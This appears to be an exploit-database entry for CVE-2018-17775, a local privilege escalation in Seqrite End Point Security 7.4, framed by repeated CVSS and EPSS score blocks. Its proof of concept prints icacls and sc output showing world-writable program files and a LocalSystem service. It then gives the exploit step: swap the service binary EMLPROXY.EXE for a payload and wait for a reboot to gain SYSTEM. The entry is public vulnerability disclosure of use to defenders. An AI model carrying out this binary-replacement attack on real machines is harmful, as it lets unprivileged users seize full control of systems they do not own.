7.2 High
CVSS2
Attack Vector
LOCAL
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
0.001 Low
EPSS
Percentile
27.5%
# Exploit Title: Seqrite End Point Security 7.4 - Privilege Escalation
# Date: 2018-09-13
# Exploit Author: Hashim Jawad - @ihack4falafel
# Vendor Homepage: https://www.seqrite.com/
# Tested on: Windows 7 Enterprise SP1 (x64)
# CVE: CVE-2018-17775
# Description:
# Seqrite End Point Security v7.4 installs by default to "C:\Program Files\Seqrite\Seqrite"
# with very weak folder permissions granting any user full permission "Everyone: (F)"
# to the contents of the directory and it's subfolders. In addition, the program installs handful
# of services with binaries within the program folder that run as "LocalSystem". Given
# the "Self Protection" feature (on by default) is disabled which can be done in number of ways
#(for instance, if the policy does not enforce EPS client password to change the settings any user
# can disable that feature), meaning a non-privileged user would be able to
# elevate privileges to "NT AUTHORITY\SYSTEM".
# PoC
c:\>icacls "c:\Program Files\Seqrite\Seqrite"
c:\Program Files\Seqrite\Seqrite Everyone:(OI)(IO)(F)
Everyone:(CI)(F)
NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
Successfully processed 1 files; Failed processing 0 files
c:\>sc qc "Core Mail Protection"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: Core Mail Protection
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program Files\Seqrite\Seqrite\EMLPROXY.EXE"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Core Mail Protection
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
c:\>icacls "C:\Program Files\Seqrite\Seqrite\EMLPROXY.EXE"
C:\Program Files\Seqrite\Seqrite\EMLPROXY.EXE Everyone:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
c:\>
# Exploit:
Simply replace "EMLPROXY.EXE" with your preferred payload and wait for execution upon reboot.
7.2 High
CVSS2
Attack Vector
LOCAL
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
0.001 Low
EPSS
Percentile
27.5%